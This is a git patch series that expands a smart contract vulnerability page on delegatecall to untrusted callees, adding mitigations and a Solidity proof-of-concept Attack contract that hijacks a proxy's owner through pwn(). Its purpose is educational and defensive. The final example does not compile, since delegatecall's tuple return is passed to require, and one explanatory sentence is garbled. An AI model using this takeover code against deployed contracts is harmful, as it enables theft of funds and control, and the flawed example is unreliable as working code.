From 826895ddc131028275e3b497af7d6673c1b6fe29 Mon Sep 17 00:00:00 2001 From: rakesh0x7 <19131a05p3@gvpce.ac.in> Date: Fri, 14 Jun 2024 17:17:03 +0530 Subject: [PATCH 1/3] update delegate call --- .../delegatecall-untrusted-callee.md | 61 +++++++++++++++++-- 1 file changed, 57 insertions(+), 4 deletions(-) diff --git a/vulnerabilities/delegatecall-untrusted-callee.md b/vulnerabilities/delegatecall-untrusted-callee.md index 2c7c16f..7836c14 100644 --- a/vulnerabilities/delegatecall-untrusted-callee.md +++ b/vulnerabilities/delegatecall-untrusted-callee.md @@ -4,9 +4,62 @@ Since `delegatecall` gives so much control over a contract, it's very important to only use this with trusted contracts such as your own. If the target address comes from user input, be sure to verify that it is a trusted contract. +### Example + +Consider the following contracts where `delegatecall` is misused, leading to a vulnerability: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.16; + +contract Lib { + address public owner; + + function pwn() public { + owner = msg.sender; + } +} + +contract HackMe { + address public owner; + Lib public lib; + + constructor(Lib _lib) { + owner = msg.sender; + lib = Lib(_lib); + } + + fallback() external payable { + address(lib).delegatecall(msg.data); + } +} + +contract Attack { + address public hackMe; + + constructor(address _hackMe) { + hackMe = _hackMe; + } + + function attack() public { + hackMe.call(abi.encodeWithSignature("pwn()")); + } +} +``` + +In this example, the `HackMe` contract uses `delegatecall` to forward any call it receives to the `Lib` contract. The `Attack` contract then uses this vulnerability to call the `pwn()` function of `Lib` through the `HackMe` contract, thus changing the owner of `HackMe` contract to the attacker. This demonstrates the dangers of using delegatecall with untrusted callees. + +### Mitigations + +To mitigate the risks associated with `delegatecall` to untrusted callees, consider the following strategies: + +1. **Whitelist Trusted Contracts**: Ensure that the target address for `delegatecall` is a contract you control or a contract that is part of a verified and trusted list. + +2. **Limit the Scope of Delegatecall**: Use `delegatecall` only for specific, controlled operations. Avoid exposing it as a general-purpose function unless absolutely necessary. + ### Sources -- https://swcregistry.io/docs/SWC-112 -- https://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-libraries -- https://blog.sigmaprime.io/solidity-security.html#delegatecall -- https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall \ No newline at end of file +- [SWC Registry: SWC-112](https://swcregistry.io/docs/SWC-112) +- [Solidity Documentation: Delegatecall](https://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-libraries) +- [Sigma Prime: Solidity Security](https://blog.sigmaprime.io/solidity-security.html#delegatecall) +- [Ethereum Stack Exchange: Difference Between Call, Callcode, and Delegatecall](https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall) \ No newline at end of file From d5fc4f3843f9459648ac56c077e513a3cf2a665f Mon Sep 17 00:00:00 2001 From: rakesh0x7 <19131a05p3@gvpce.ac.in> Date: Fri, 14 Jun 2024 17:23:18 +0530 Subject: [PATCH 2/3] fix broken link --- vulnerabilities/delegatecall-untrusted-callee.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulnerabilities/delegatecall-untrusted-callee.md b/vulnerabilities/delegatecall-untrusted-callee.md index 7836c14..f6d08b5 100644 --- a/vulnerabilities/delegatecall-untrusted-callee.md +++ b/vulnerabilities/delegatecall-untrusted-callee.md @@ -60,6 +60,6 @@ To mitigate the risks associated with `delegatecall` to untrusted callees, consi ### Sources - [SWC Registry: SWC-112](https://swcregistry.io/docs/SWC-112) -- [Solidity Documentation: Delegatecall](https://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-libraries) +- [Solidity Documentation: Delegatecall](https://docs.soliditylang.org/en/latest/introduction-to-smart-contracts.html#delegatecall-and-libraries) - [Sigma Prime: Solidity Security](https://blog.sigmaprime.io/solidity-security.html#delegatecall) - [Ethereum Stack Exchange: Difference Between Call, Callcode, and Delegatecall](https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall) \ No newline at end of file From f7634c604d4ef1b3b75959d13c17431753a192a8 Mon Sep 17 00:00:00 2001 From: rakesh0x7 <19131a05p3@gvpce.ac.in> Date: Wed, 19 Jun 2024 15:18:16 +0530 Subject: [PATCH 3/3] update --- .../delegatecall-untrusted-callee.md | 32 +++++++++---------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/vulnerabilities/delegatecall-untrusted-callee.md b/vulnerabilities/delegatecall-untrusted-callee.md index f6d08b5..912ac3c 100644 --- a/vulnerabilities/delegatecall-untrusted-callee.md +++ b/vulnerabilities/delegatecall-untrusted-callee.md @@ -12,42 +12,42 @@ Consider the following contracts where `delegatecall` is misused, leading to a v // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; -contract Lib { +contract Proxy { address public owner; - function pwn() public { + constructor() { owner = msg.sender; } + + function forward(address callee, bytes calldata _data) public { + require(callee.delegatecall(_data), "Delegatecall failed"); + } } -contract HackMe { +contract Target { address public owner; - Lib public lib; - constructor(Lib _lib) { + function pwn() public { owner = msg.sender; - lib = Lib(_lib); - } - - fallback() external payable { - address(lib).delegatecall(msg.data); } } contract Attack { - address public hackMe; + address public proxy; - constructor(address _hackMe) { - hackMe = _hackMe; + constructor(address _proxy) { + proxy = _proxy; } - function attack() public { - hackMe.call(abi.encodeWithSignature("pwn()")); + function attack(address target) public { + Proxy(proxy).forward(target, abi.encodeWithSignature("pwn()")); } } ``` -In this example, the `HackMe` contract uses `delegatecall` to forward any call it receives to the `Lib` contract. The `Attack` contract then uses this vulnerability to call the `pwn()` function of `Lib` through the `HackMe` contract, thus changing the owner of `HackMe` contract to the attacker. This demonstrates the dangers of using delegatecall with untrusted callees. +In this example, the `Proxy` contract uses `delegatecall` to forward any call it receives to an address provided by the user. The `Target` contract contains a to call the `pwn()` function that changes the owner of the contract to the caller. + +The `Attack` contract takes advantage of this setup by calling the `forward` function of the `Proxy` contract, passing the address of the `Target` contract and the encoded function call `pwn()`. This results in the `Proxy` contract's storage being modified, specifically the `owner` variable, which is set to the attacker’s address. ### Mitigations